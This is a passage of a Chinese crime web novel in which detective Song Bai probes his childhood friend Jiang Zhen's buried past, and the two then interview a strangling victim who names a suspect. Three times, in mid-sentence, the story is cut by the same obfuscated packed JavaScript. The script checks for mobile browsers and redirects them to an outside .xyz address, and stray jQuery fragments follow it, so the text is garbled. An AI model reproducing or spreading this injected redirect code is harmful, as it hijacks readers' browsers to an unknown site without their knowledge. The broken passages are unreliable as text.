客厅关着灯,空空的。餐桌上摆着饭菜,冷了也没收回去,大概是预备着江桢如果晚上回家,热热就可以吃。江起山夫妻是真的做到了把他当亲生儿子养。 书房亮着灯,听到了动静,江起山从里面出来。他年逾六十,头发花白,但人依旧很精神,眼尾的每条褶子都透着精干,见宋柏来了也只是一点头:“回来了?” 宋柏叫了声“师父”,江起山又点头,冲他招招手,示意他过去。 江桢从杯架上拿宋柏常用的那只杯子,顺手按亮客厅灯,餐桌上留的菜是糖醋排骨,他就直接用手捻起一块吃着,等着水开,对宋柏说:“你们说话,一会儿把水给你们送进去。” 宋柏进了书房,江起山就在身后把门关上了。书房不大,老式木桌和配套的椅子上面摆满了照片,抽空了的相册放在地板上,看来江起山是在整理老照片,只理到一半。 江起山说:“老康给我打了个电话,说你查案查到了林台坡。你知道了?” 其实宋柏心里也明白江起山叫他进来要说的是什么事,点头道:“知道了,知道得……有点晚了。” “你是不是想问,为什么连你都被瞒到现在?”江起山叹了口气,“你看了卷宗,应该知道当年这在林台坡那么一个小地方是多么惨烈的案子——半夜闯进人家家里,持刀灭门,又涉及邪教。从现场的出血量来看,女主人大概率是活不下来的,只是没找到尸体,所以才判为失踪。他那条命是侥幸捡回来的,就因为这个,当地福/利院才会同意跨省领养,他们的意思是这个孩子走得越远越好,越远就越安全。你当时也是个孩子,就算知道了,你能干什么?” 替他找到凶手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444531|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 替他报仇?这案子冷了二十年,就算是如今做到支队长位置的宋柏,也很难保证可以顺利侦破。 “别怪江桢。”江起山拍了拍宋柏的肩,隔着衣料也能感受到掌心的茧和疤构成的粗粝触感,“是我让他不要和任何人说,他刚来这里的时候经常写错自己的名字,我用了一些……办法,让他尽量忘了边柳这个名字。” 宋柏敏锐地从师父的话中捕捉到一丝内疚,他很想知道什么办法可以让一个小孩短期内忘了自己原本的名字,但他没有问。 “他是我的儿子,一个苦命的孩子。”江起山凝视着宋柏的眼睛,宋柏发现,师父那一向严厉的眼睛中竟然带着些许恳求,“你是他唯一的朋友,你们之间不应该有任何罅隙,能不能向我保证,不管发生什么,哪怕你们之后不再是朋友,永远不背弃江桢?” 这话说得太重了,好像江起山父子隐瞒的不止林台坡的一桩旧案而已,江桢做得再过分也不过是转学之后断了和他的联系而已,要做什么才会谈得上被“背弃”?宋柏觉得自己仿佛触摸到了名为江桢的冰山的一角,却在无意中发现暗流的更深处隐藏着更庞大、更神秘的东西,江起山是个性格直接的人,他从未像今天这样,读不懂师父表情的含义。 他神色未变,语气自若:“我知道,师父。我没怪他,只是觉得我这个做哥的有点不够格。” 江起山说:“答应我。” 宋柏只好郑重道:“我答应您,永远不背弃江桢。” 江起山这才移开目光,拾起椅面上的照片,这个低头的动作令他显得格外衰老,他把宋柏按进椅子里:“我去拿水,你在这儿坐。” 宋柏于是顾自看起那些照片,大部分拍摄于江起山夫妇年轻的时候,地上的相册有点碍事,他把它们捡起来放在飘窗上,一张纸片,随着他的动作从相册中滑落出来。 他拾起一看,原来是一张旧照片。很旧,虽然是彩色照片,但画面已经发黄,边缘却很光滑,看起来被保存得很好。照片上是年轻的江起山,看起来二十出头,穿着当时的橄榄绿制式警服,站得很挺拔。旁边还有一人,勾着江起山肩膀,黑白分明的眼睛笑得弯成柔和好看的形状,一头黑短发被风吹得往后抿,即使画面模糊也不难看出这人的英俊,显得身边的江起山异常逊色。 这人也是一身警服,如蓬勃的松柏意气风发。这大概是江起山的同事或同学,可宋柏印象里,跟在江起山身边的那几年,他从没见过这个样貌的中年人。 他翻过照片,背面一行遒丽的蓝黑色钢笔字:江起山,夏飞光。 夏飞光。他在心里记住这个名字,确信自己没见过这个人。这分明是个来自遥远年代的陌生人,可他却觉得这张脸有些熟悉。 不是曾经见过面的那种熟悉,更像是他刚刚见过类似的脸,或拥有类似气质的人。 宋柏盯着那张照片,隐约就要念出一个名字,这个人长得就像……像是—— “阿桢!” 屋外一阵防盗铁门轻响,是去外面跳舞的纪慧竹回来了,正在招呼江桢过去。宋柏抬起头,门正巧被江起山从外推开,不知为什么,他像看见了不应该看见的东西一样,忙把照片递了上去:“您有张照片掉了。” 江起山好像没想到这张照片会出现在这里,低头的刹那,他感慨万千般抬了抬眼皮,宋柏知道,这是因为他看到了那个叫夏飞光的人。 但那表情只是转瞬即逝,江起山把热茶放在桌上:“时间还不晚,陪我下一盘?” 此时此刻,外间客厅。 纪慧竹心疼又埋怨地摸着儿子受伤的右后肩,隔着短袖,她只能摸到厚厚一层纱布:“你那么拼命干嘛,啊?你郑阿姨和我说的时候吓死我了,你知道长宁河一年淹死多少人?” 江桢已经比她还高,和她说话时需要微微低下头迁就她,这个孩子一贯乖顺而温和,手指自然而然地搭在她的肩膀上:“没关系的妈,医生都说了只是皮外伤,过两天拆了线就好了。” 他顿了顿:“做我们这一行受伤是难免的。” ——做我们这行,受伤是在所难免嘛,你就别担心啦! 那一瞬间仿佛时光在她身上流返,一道清朗的声音落入已经不再年轻的纪慧竹耳畔,她抬起头,看着江桢。 “阿桢?”“哎,妈。别担心。” 同样黑沉的眼睛令她感到恍如隔世,她听见那如流水轻撞玉石般好听的声音继续说:“如果我以后有了孩子,一定要给他取名为‘桢’。” “桢,那就是夏桢了,有什么说法吗?”少女的她笑着问。 那道声音也在笑:“书上说过,桢,硬木也,冬不凋。” 19.第十九章 “……妈?” 纪慧竹如梦方醒。 “孩子,等我一下。”她匆匆丢下一句话,走进主卧,打开衣柜翻找了片刻,拿着一件精致小巧的东西出来了。 那是一条铂金项链,尾端系着一枚戒指,圈口很大,不是纪慧竹戴的尺寸,更像是男戒。 江桢之前见过这枚戒指,甚至小时候有很长一段时间,他都听纪慧竹的话,把这枚戒指当作护身符戴在身上。他从没问过纪慧竹这是谁的东西,但看她每次拿出它时轻柔的动作,不难想到这枚戒指对她而言很重要。 转学离开章宁的时候,他把这枚戒指摘下来留在了自家的鞋柜上。看得出这枚戒指时时被人取出保养,这么多年过去了,依旧亮洁如新。 纪慧竹小心地托着戒指,本想亲手帮江桢挂在脖子上,但想了想,似乎觉得不妥,于是把它塞进江桢手里:“来,平时出任务戴着它,揣在兜里也行,还像原来一样。” 江浙下意识想要推辞:“这戒指太贵重了,原来还小不懂事,现在再戴怕外勤到处跑戴丢了,您留着吧。” “不行。”纪慧竹态度很坚决,把江桢摊开的手用力握成拳,“你给我戴好。这是妈给你的护身符,一直都是你的。你忘了,十六岁的时候它怎么让你和小柏有惊无险地回家的?” 江桢攥着那枚戒指,光滑的金属表面将他的手心硌得生疼,灯光之下粼粼闪动的铂金链像一条蛇攀绕在他手指之间,让他觉得冷也令他心中悚然。 “……”他张口,嗫嚅般说,“没忘。那我回屋了。” 纪慧竹终于安下心来。 书房门依旧紧闭,宋柏还没走,正在里面和江起山下棋。 宋柏的象棋是和江起山学的,警察应该有的本事也是。江起山几乎是他半个父亲,他心中有何疑窦,也应该请教江起山。 他盯着棋盘,心却不在这里:“师父,还有一件事。” 江起山俯身观着棋,暗黄台灯给他的脸投下大片阴影:“你说。” “09年那件事真的是偷猎的人做的吗?” 宋柏一开口,江起山抬起头看着他,那眼神令人联想起苍老却依旧机敏凶猛的雄鹰。 那是十年之前,猫耳岭山脚下的派\出所里,江起山也曾这样看着他。 当年宋柏二十一岁。 书房的纱帘吹起、落下,卷动宋柏的记忆,开往猫耳岭的旅游大巴也有同样的纱帘,十六岁的江桢坐在他身边,一边耳朵戴着耳机,另一侧枕在他的肩膀上。 大三的暑假,他们准备去猫耳岭徒步郊游。 江桢很兴奋,兴奋得前一晚都没睡好。因为宋杳和郑曼冬去云南出差,没和他们一起出来,他很少能独占宋柏,更何况这次可以和宋柏在没有父母管束的情况下过夜。宋柏给他讲大学生活,讲他们是如何在派\出所实习的,讲到一半,江桢脑袋一歪,倚着宋柏沉沉睡去。 他睡了一路,睡醒后活力无限,他们徒步了六公里,然后和同车人一起找地方扎营,山中的夜来得很早,宋柏陪他看了一会儿星星。 晴朗的夜晚,无灯的群山之上,星星数不胜数。他们说了很多,如今大部分关于那些对话的记忆已经遗失,宋柏只记得星星很低,江桢仰望天空的眼睛有如黑曜石,宋柏从未见过那么美丽的星星。 他们在帐篷中抵足而眠,睡到半夜宋柏被窸窸窣窣的声响吵醒,睁眼一看,身边是空的。 他一下完全清醒,穿上外套出去找人,夜晚的猫耳岭被伸手不见五指的浓黑笼罩着,四下里都是不知名动物的叫声。他很快就看到了江桢留下的标记,好像对方知道自己要走很远,怕回不来,所以撕开了衬裤的,每隔一小段路就绑上一条。 江桢要去干什么? 他跟着标记,走到最后,居然在山的深处看到村子的模糊轮廓。 宋柏走进去,后脑勺猛然剧痛,破落的村庄在视野中旋转,他再次醒来时已经被关在一间小小的柴房里。 不知过去了多久,他焦渴难耐,身上阵阵发冷,这个时候,他听到了江桢的声音。 江桢的声音变了调的嘶哑:“她在哪儿?!” 他听到江桢在哭。 他挪到柴房木门前向外看,高烧令他的视线和记忆都异常模糊,外面着着火,亮如白昼,他看到江桢和一个人搏杀,混乱中那个人的身体撞到门板,嗵的一声闷响,随后是那个人短促的尖叫。 宋柏至今忘不了那震惊的、濒死的叫声。 之后柴房的门被打开了,江桢手中的刀落地当啷一响,他抱着他,让他往山下跑,浓重的铁锈腥味裹挟着他们,屋外的火光让江桢看起来如同浴血。 再后来宋柏彻底失去意识,醒来已经在山脚下。 他脑震荡,高烧脱水,差点死掉,从市区赶来的江起山和他说,他们夜里起来看星星时迷路,在搬迁废弃的山村附近遇到了两个偷猎者,可能是怕两个孩子下山报警,这两个人竟然把他们打晕关在废村的柴房里,如果不是白天和他们一起露营的同车人检查帐篷发现少了人,他们俩恐怕要活活渴死在深山里。 这些都是江桢对警察说的。 和他记忆中完全不同,被找到的时候江桢身上很脏,到处都是剐蹭出的伤口,但衣服上没有血。 那废弃的荒村警察也去过了,有人生活过的痕迹,但没有刀,没有血迹。 宋柏在山脚下的卫生所输液一周,转院,出院,回家时江桢已经转学,什么话都没有留下。 宋柏疑心那晚自己搞混了现实和噩梦,但无数次午夜梦回,江桢伤感的眼睛近在咫尺,血腥味像徘徊不去的幽灵缠绕着他,带着他一次又一次回到猫耳岭的荒村,回到看见江桢杀人的那一晚。 他决定趁此机会再问一次,问个清楚。 江起山看着他,语气不容置疑:“村里提取的指纹跑了数据库,其中一枚指纹的主人曾因偷猎入狱。结合在村里找到的网、土枪,大概率是重操旧业,被你们撞上。” “现在还没有找到?” “没有。”江起山摩挲着棋子,“江桢当时吓坏了,一直和我说是‘那个人’找来了。他一定转学要走,慧竹就托关系帮他找了外地的寄宿学校。怎么,你觉得这件事还有蹊跷?” 宋柏低头,看见自己的棋已被江起山将死,他沉默了一会儿,灯影之下轮廓显得格外锐:“……没有。” 他明知道这桩案子已经盖棺定论,他不能凭借一段自己都不能确信的记忆指控一起长大的手足杀人,更不可能不相信素来严明的公安系统——如果江桢真有问题,绝对不可能通过警察考试的政审。 江起山嘴角微动,似笑非笑,收起棋子棋盘:“你还需要历练。去吧,去休息吧。” . 江桢拉开床头柜抽屉,把纪慧竹给他的戒指妥善地放进去。靠着一面墙,对着他的床有一列书架,他从书架下面拖出整齐码放的纸箱,一共三只。 纸箱里全是素描簿。 他抽出靠下的一本,翻开。素描簿年代久远,靠近金属线圈处的纸已经被磨得起毛,纸张变脆泛黄,上面是用铅笔画的一张人像,笔触幼稚粗糙,带着反复涂改的痕迹,看得出作画之人努力想把这张脸画好,想画下脸上的每一个细节,让它更加贴近真人的样子。 那是一张男人的脸,领口处笨拙地写着作画时间:1998。 他又在颜色最浅、最新的纸箱中寻找,翻开几乎一模一样的素描簿,这次画面上的人像臻于完善,铅笔线甚至尽量刻画了皱纹之类的细节,作画时间标为“2009”。 江桢翻着他的素描簿,男人的脸一页比一页清晰,仿佛在纸上衰老。 他比对着六岁和十六岁时的画,闭上眼睛,试图依靠这些单薄的线索回忆起男人已经模糊的脸。 ——身形彪悍的男人飞扑而来,卡住他的脖子,刀尖距离他的眼睛只有一寸,甚至更近。 在他惊恐的眼睛中,男人狰狞的脸迅速生长出皱纹,身形变得佝偻,卡着他脖颈的手指更加粗糙,他强迫自己凝视对方,在心中默问: 你还会回来吗,我还应该害怕你吗? 男人哈哈狂笑,收紧攥着他脖颈的手,像要再杀死他一次。 江桢喉咙一涩,真实而强烈的窒息感翻涌而上,身后一个不怀好意的声音道:“今天不是你死就是他死,你们不是有仇吗,你偷偷跟在他身后,不是为了报仇吗?看在这枚戒指的份上我给你一个机会,动手。” 他感觉自己在挣\扎,可是更强大的力量把他从背后按住了,他被按着脑袋,被迫转向另外一边,那个声音充满愉悦,歌唱般说:“你不怕死吗?可再不动手的话你的朋友就要死了。” 他看到宋柏的脸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451869|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋柏静静地躺在那儿,一泊血从他湿/漉/漉的额发中淌出来,他的呼吸轻弱,好像睡在一场好梦之中。 江桢张开嘴,却已连声音都发不出来,只有牙齿在打颤,发出濒临崩溃的咔咔声。 他机械地伸出握着刀子的手。 噗呲。 锋刃划破皮肉的声音轻得近似于无,但他就是觉得有某种东西在他脑中炸开了,耳鸣声如钢针一般穿过他的头颅,在剧痛和眩晕感中,他睁开眼睛。 他还在自己的房间里,房间里的一切都在旋转。 素描簿在台灯下模糊成形状诡异的色块,江桢手脚阵阵发麻发冷,有关画面上这个男人的所有记忆都令他想吐,他合上素描簿,几乎是从椅子上摔下来,右眼瞬间像摔坏的光源一样一片漆黑,和每一次神经性头痛发作一样,他一只眼睛看不见了。 房间中他的粗\喘声被放大到极致,他摸索着打开房门,踉跄冲进洗手间,先把水龙头拧到最大,然后终于到达极限地跪倒在马桶前呕吐。 就像有刀片在他的右眼中搅动,不能抵抗又过度剧烈的痛楚让他吐完也只能靠着墙瘫坐在地上,他听到自己一下高过一下倒气的声音。 有人把他扶起来,随着站起的动作,他全身的血液都在嗡嗡往上涌,腿软得不受控制,整个人向前栽倒。 他没有真的摔倒,宋柏接住了他。 他们面对着面,江桢站直都很困难,眩晕令他下意识想要把头埋进温暖的衣料中,宋柏双手从他的腋下穿过,稳当地架住他,一只手保护般按着他的后脑勺。熟悉的薄荷叶气息洗去他鼻腔中幻觉般的血腥气,良久血液上涌造成的一过性黑蒙过去,江桢稍稍回神,发现自己的脑袋被紧紧搂在宋柏肩头。 “你怎么了,偏头痛?”宋柏关切的声音像隔着水一样传来,有些发闷。 短短不到二十分钟的时间,江桢出了一身汗,刚贴着瓷砖坐下去过,整个脊背透骨寒冷,他有些发懵,挣\扎着想摸到洗手台去抹把脸,被宋柏按住了。 他被连扶带拖地弄上\床,恍惚中听到宋柏对主卧的方向说:“没事,江桢有点头疼,我给他找点药吃,你们睡吧。”语气像一家人一样亲昵寻常。 过了一会儿一张温热的毛巾搭上他的额头,宋柏像对待小孩一样给他抹了把脸,温水擦过的皮肤温度稍降,带来一阵令人舒服一点的清凉。 这时江桢时明时暗的视线才渐次恢复,宋柏握着毛巾蹲在床边,几乎是条件反射一般,江桢艰难地看了一眼桌上的素描簿——是合上的。 他这才放心地叹了一口气,抬手盖住被顶灯刺痛的眼睛。 “什么时候开始的?”宋柏记得他小时候从来没有这个毛病。 “……青春期。”在离开宋柏之后,他奇怪地患上头痛的毛病。 “有药吗?”“在抽屉里。” 宋柏拉开床头柜的抽屉,只是往里面看了一眼,动作便倏忽一顿。 抽屉里一堆药盒,去痛片、佐\匹\克\隆、舒\乐安\定,甚至还有褪黑素——江桢在使用不止一种安眠药物,而去痛片盒子旁边放着一枚戒指。 他看向江桢,后者一只手搭在眼睛上,疲倦而痛苦地尽量平息着凌乱的呼吸,鬼使神差地,他把那枚戒指拿了出来。 男戒,圈口略大,不是江桢戴的尺码。 不知是谁的东西,被这么宝贝地放在抽屉第一层。 戒指闪闪发光,好像略带讥讽的询问:你们之间真的只有一个秘密吗? 宋柏眯起眼,捏着戒指,几乎要把圈口捏至变形。半晌他把那东西放回抽屉,拿了去痛片,此时江桢已经难受地侧躺蜷了起来,把头埋进枕头中躲避灯光,他只好先把卧室灯关上,捏着去痛片递到对方嘴边。 江桢张嘴把药含进去,竟然非常听话。可能是刚刚沾过水的原因,他微微发\抖的唇\瓣都是凉的,宋柏的指尖碰到,夹杂酸意的火焰却一直燃烧到心底。 他心里一股邪火无从发泄,干脆把抽屉拉开到最大,里面的药盒拿出来依次检查,有的已经吃了大半,有的吃空了没扔,空铝板被他捏出轻响,无数令江桢辗转难眠的寂静深夜在他的指间流逝,他转过头看着江桢清瘦的脊背,好像对方长大了但依旧像小时候那样脆弱。 你还有多少事瞒着我?宋柏想。 我会一件一件地弄清楚。 20.第二十章 嘀嘀嘀—— 闹钟铃声响起,江桢从被子之中探出手来,循声摸到手机,睁眼一看:时间不是他平时设好的六点半,而是已经八点了。他瞬间清醒大半,迅速起身,却因为动作太大而牵动后肩的伤口,不由得嘶一声按住肩头,下一秒熟悉的声音从床尾响起:“扯到了?” 江桢抬起头,错愕地看着拿了把椅子坐在床边的宋柏,如果说刚刚他的脑子还因为晚上服用了去痛片而有些混沌的话,现在绝对完完全全地被这个不速之客吓清醒了。 宋柏坐在那儿,就像在研究国家机密一样研究着他的睡相,不知已经多久了。 “你怎么在这儿?” “我一个人在家,叔叔阿姨叫我早晨过来吃早饭。” 所以你就可以不敲门就进别人房间,还把别人的闹铃往后调了一个多小时? 江桢愣了足足三秒,然后意识到宋柏是他自己放进房间里来的。戒指、神经性头痛、卫生间……零碎的记忆缓慢回笼,最后定格在宋柏递药过来的那一刻,温热的指尖在他的唇/瓣上停顿了一下,宋柏蹲在床边,帮他把被冷汗打湿的额发往后拨开,那只手的温度令他感到格外安心,甚至在去痛片还没完全起效的时候就昏昏沉沉地睡了过去。 然后呢? 看着已经换了衣服,收拾得清爽整齐的宋柏,他第一反应居然是掀开被子,在看到自己身上穿着新换的短袖短裤时心死地按住额头,叹了口气。 “你扶我上/床就可以了,帮我换衣服干吗?”他实在没有勇气想象这个场景,连从指缝间漏出的声音都又低又轻。 宋柏两条长腿伸展开来踩着地,显得身下的椅子格外矮,他两肘撑住膝盖,倾身看着江桢,一脸理所当然:“你出了很多汗,直接睡觉会感冒。别找了,脱下来那身洗了,正在阳台上晾着。” “……”江桢艰难道:“你洗的?” “顺手投了一把。” 也就是说他痛得不能自抑,胡言乱语的时候,宋柏正像个任劳任怨的老妈子一样搓他换下来的脏衣服。这种入侵式关怀的对象如果换成别人,一定已经觉得不适了,可江桢却有种小舟逐水漂泊又重新被一线牵回的安定感。 他试探地问:“昨晚我说什么了吗?” 宋柏立刻反问:“你这种时候会说什么吗?” 江桢噎了一下:“……没有,就是有时候会说梦话。” 宋柏这种拒绝试探的反应简直是教科书级别的,江桢甚至不敢再多追问一句,生怕对方那在刑侦一线磨砺了十年的敏锐神经觉察到什么。他起身打开衣柜找衣服,把衣柜下面的纸箱踢至深处。宋柏即使不说话存在感也很强,专注的目光让江桢后背有种灼热的幻觉。 如果他此刻转身,就会发现宋柏的表情有点难看。 昨晚洗完衣服之后宋柏没有立刻走,怕江桢夜里再出什么状况,他就在床边坐了一会儿,没多久江桢在昏睡中翻过身来,不踏实地在枕上蹭了一会儿,手指摩挲到他的衣角,本能般握住了。去痛片加剧了想要呕吐的感觉,可能是觉得喉咙发堵,他时不时发出短促的咳嗽,就在难受的喘息之间,夹着轻不可闻的呓语。 “……柏……”宋柏凑得极近,想要从只言片语中捕捉江桢的梦境,几声咳喘之后安静了片刻,半晌他听到江桢说:“不……我不能……放开宋柏。” 江桢的脸色褪至苍白,汗水滑落而下,停留在他的眼角,给人一种他正在饮泣的错觉。房间中没有开灯,夜色下宋柏的瞳孔不受控制地微微扩大——江桢在做同样噩梦。 他几乎是下意识地屏住呼吸,想要知道江桢接下来还会说什么,比如不能做的事是什么,当年他昏迷时有谁拿他去要挟江桢了吗? 但接下来江桢紧紧皱着眉,不再说什么。 “昨晚没有。”看着江桢拿好衣服,宋柏忽然开口,“你一声没吭,连梦话都没有。” “哦,那很好。”江桢拿着一套衣服站在那儿,似乎是在等他自觉出去。 在催促的目光中,宋柏站起身,把江桢按进自己刚坐的那把椅子里,掀起了被当作睡衣的那件短袖的衣摆。江桢的后背一下绷紧,甚至起了一层鸡皮疙瘩,他像冷不丁被人摸了一把肚皮的猫一样,警惕地扭过头按住宋柏的胳膊:“干什么?” 宋柏把他的手拨下去,四平八稳地说:“换药,今天是第三天了。” 连他自己都忘了医生还叮嘱过三天之后要换一次敷料,开的药随手放在了宋柏车上,不知对方是什么时候拿过来的,可能是早上。宋柏三两下剪开原本的纱布,津满药液的棉球有点凉,沾上皮肤的第一刻江桢条件反射地战栗了一下,形状优美的蝴蝶骨因此似要振翅般动了动,偏白的皮肤在晨光下泛出如玉的光泽,已经缝合但仍然触目惊心的伤口令他的背狰狞而美丽,宋柏替他涂着药,心想,这里可能要落疤了。 宋柏尽量放轻力道,仔细清理掉伤口周围凝结的血痂,江桢不耐烦似的动了动,又动了动,终于忍不住问:“很难弄吗?” 他停顿了片刻,似乎难以启齿:“你离我太近了,呼吸……扑得我痒痒。” 宋柏扬起眉,尽管现在这个姿势江桢根本看不到,他理直气壮道:“不近怎么能看清楚发炎没发炎,都是男人有什么可别扭的。” 说完他贴上新的敷料,把沾血的废纱布和药棉收拾进塑料袋,啪地往对方腰窝一拍,力气之大几乎直接把人推了起来:“换完衣服出来吃饭,让你多睡一会儿是怕你生病罢工,现在不能请假,队里缺人。” “哦,嗯。”江桢答应着,目送他走出去,关上卧室的门。锁舌咬合发出咔哒轻响,江桢立刻回过头看了一眼桌上摞起的素描簿,依旧在原来的位置,没有被碰过。他松了口气,拿衣服穿上,拉开床头柜的抽屉,原本凌乱的药盒被放得整整齐齐,宋柏肯定看到了。 一种秘密被无意撞破的难堪感漫上心头,江桢深吸一口气,定了定神,盒子边拿起纪慧竹的戒指,挂在脖子上,又把项链藏进衣领之下。做完这一切他打算合上抽屉,却发现压/在褪黑素药盒下方的盒子的侧开口微微鼓起,像是里面被什么东西塞满了一样。 他把那盒子抽出来,打开,迟疑了一会儿,又把那些药盒逐一翻出来,打开,床上一时之间铺开很多药盒。 江桢握着从那些盒子中找到的东西,不可思议地站在那儿,控制不住的酸涩热意直冲上鼻腔。 每个药盒中都塞了糖,是他小时候爱吃的牌子。 良久,他拆开一块,熟悉的甜味在口中弥漫开来,持续一/夜的痛楚、混乱,还有暗中的怀疑和试探都化为了齑粉。 对不起,玻璃糖纸的一角刺痛他的手心,时间仅够他流露出片刻的脆弱。他在心里说,真的对不起,宋柏。 . 他们没有去分局,直接开去了医院。经过一/夜的治疗和休养,刘勇已经清醒,而且身体状况可以接受问询。 这个无辜受牵连的中年人直到警察进入病房时还在不时发/抖,他脖子两侧留下了骇人的乌紫淤青,部分肿/胀的皮肤已经破了,微微渗着血丝,虽然已无生命之虞,但他的眼睛满是毛细血管涨裂后眼底出血的痕迹,眼珠在一片血红的眼白中显得格外诡异。 宋柏拉了张椅子坐下,开场言简意赅:“你看见那个人的脸了吗?” 刘勇的咽喉受损,声音沙哑难听:“没有,他,他戴着墨镜和口罩,说是花粉过敏。” “为什么让他进入你家?” “他说他要买木雕,要、要进家来挑,我没有摊子,平时也都是上家来挑的,谁知道,谁知道……”刘勇双唇一阵颤动,好像后面发生的事情过于恐怖,让他说不下去了。 “他进门就掐住了你的脖子?”江桢展开笔记本,病房只有两名警察在场的情况下,他充当宋柏的书/记员。 刘勇哽咽着点点头:“一上来,就、就下死手!” “平时有和谁关系不好吗,近期有没有和人吵过架,之前有没有觉得不对劲的事情?”宋柏一连串问题,得到的回答都是没有。 这和警察对他社会关系的调查一致,宋柏和江桢交换一个眼神,后者会意开口,语气如春风化雨般柔和:“刘先生,涉及生命安全,这不是小事,请你好好回忆一下,有没有见过这个人?” 安抚证人这件事宋柏一般都不做,主要是因为他实在很难做出平易近人和蔼可亲的表情,自从长宁分局普法进校园活动开展,他抽空去幼儿园教了一次课成功吓哭班上所有的小孩之后,他就知道自己这辈子都不可能再用怀柔政策了,所以这事平时都是戴奇在干。戴奇毕竟也是老刑警,身上的杀气也不遑多让,杨繁又毛躁爱训人,之前他们一队人屡遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473073|167794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投诉,宋柏在一旁看着江桢又是安慰又是套话,感觉这个投诉率未来可能有希望下降了。 刘勇可能是想哭又不敢,忍着的眼泪都成了鼻涕,他一边抹鼻子一边把自己前半辈子见过的人都回忆了一遍,确定真的没见过这个要他命的人。 “那再见到的话,不戴口罩墨镜,能不能认得出来?”宋柏掏出手机,在支队微信群里发了条消息,仲夏立刻跟在后面回了一条“收到”。 “……也许可以,但是我怕认错。”刘勇踌躇不安地说。 “我们排查出了几名嫌疑人,过会儿需要你看照片辨认一下,没关系,不用怕看错,觉得像就指出来,现在我们说另一件事。”宋柏从手机中调出自在神刻像木珠的照片,给刘勇看,“这颗珠子是你雕的吧?” 因为这东西太少见了,刘勇几乎是瞬间就认了出来,点头道:“是我,有人从网上订的。” “从什么平台,聊天记录还有吗?” “有,有,在我手机里。”刘勇从枕头底下掏出手机,看得出他平时窘迫,虽然用的也是智能机,但又卡又破,用了有些年头了。他操作了好一会儿才翻出微信聊天记录,宋柏拿过来一看,无非是下单要问清的信息,而刘勇已经被对方删除好友了。 “你这台手机我们要用一下。” 刘勇忙不迭同意:“拿去拿去,您想查什么,都拿走吧!” 宋柏把手机递给江桢,继续问:“你见过买这颗珠子的人吗?” “没有,要求是他在微信上告诉我的,木材和珠子是车子送、车子接的,车是出租车。” “还记得车牌吗?” “不记得了,这谁还能记得?” 刘勇话说多了就一阵咳嗽,不得不拿起床头的水润润喉咙,他在鬼门关走了一遭,现在如惊弓之鸟一般,喝水都只敢喝楼下买的瓶装水。喝完,他又皱着眉,自言自语到:“难道这还和这颗珠子有关?我只是觉得这个东西有点邪,谁知道它能要我的命呢!警官,求求你们了,能不能让你们那位小警官陪我留在医院?” 这倒是最近他们知道的第二个不敢回家的人了。 江桢苦笑道:“放心,我们一定极力确保你的安全……” 他没有说完,兜里忘记静音的手机忽然一阵作响,身边宋柏也正掏出手机,江桢一看,原来是微信群中收到仲夏的新消息,一连几条,都是免冠照片。 点开一看,照片上是李想、柯茹、耿兴平和张政,每个人除原始照片外还有一张p上了墨镜和口罩的修图照,乍看有些滑稽,宋柏拿着自己的手机,让刘勇一一查看。 刘勇看得仔细,不自觉地攥紧手中的矿泉水瓶,病房中只有瓶身不堪重负咯吱咯吱的声音,似乎有一根弦逐渐在紧张的空气中绷紧,宋柏打量着刘勇的神情,江桢知道,他是在期待证人的回答。 然而,十分钟过去,刘勇最终摇了摇头:“没有,都不是。他们好像都太年轻了。” “太年轻了?”宋柏诧异地看着被墨镜和口罩遮住大半的人脸,“你是怎么判断,对方年纪比这几个人大的?” 刘勇的目光似乎穿过了虚空,认真描摹着某个不速之客的轮廓,他思索了好一会儿才说:“那个人的脸上有皱纹,头发有点白了,对,头发根是白的。” 那至少是一个中年人! 难道警方的判断是错误的,自在门和它的话事人“菩萨”,真的和两年前的走私贩毒案无关?尤其是身上迷雾重重的李想,他真的是清白的吗? 宋柏不禁锁紧眉头,却见江桢迅速在群里发了什么,片刻之后叮咚轻响,仲夏在群内回应,江桢翻过手机,把新收到的图片给刘勇看,虽是询问,语气中却已经添上了几分确定:“是他吗?” 刘勇只是看了几眼就叫了起来:“是他,就是他!对,对,他颧骨这里有块斑!” 宋柏拿过手机,点开没有p图的原始照片,上面中年男人头发花白,眼角耷拉,右脸颧骨处一小块褐斑,表情柔和平静,根本不像毒辣大胆的杀人凶手。 而这个人曾与警方有一面之缘。 宋柏打开前几张照片,和江桢的手机放在一起对比,中年人的眉眼和李想七分相似——他正是脑梗后行动略微不便,自述常年在家,对警察态度十分配合,言之凿凿说自己儿子不会犯案的李家男主人,李志贞。 21.第二十一章 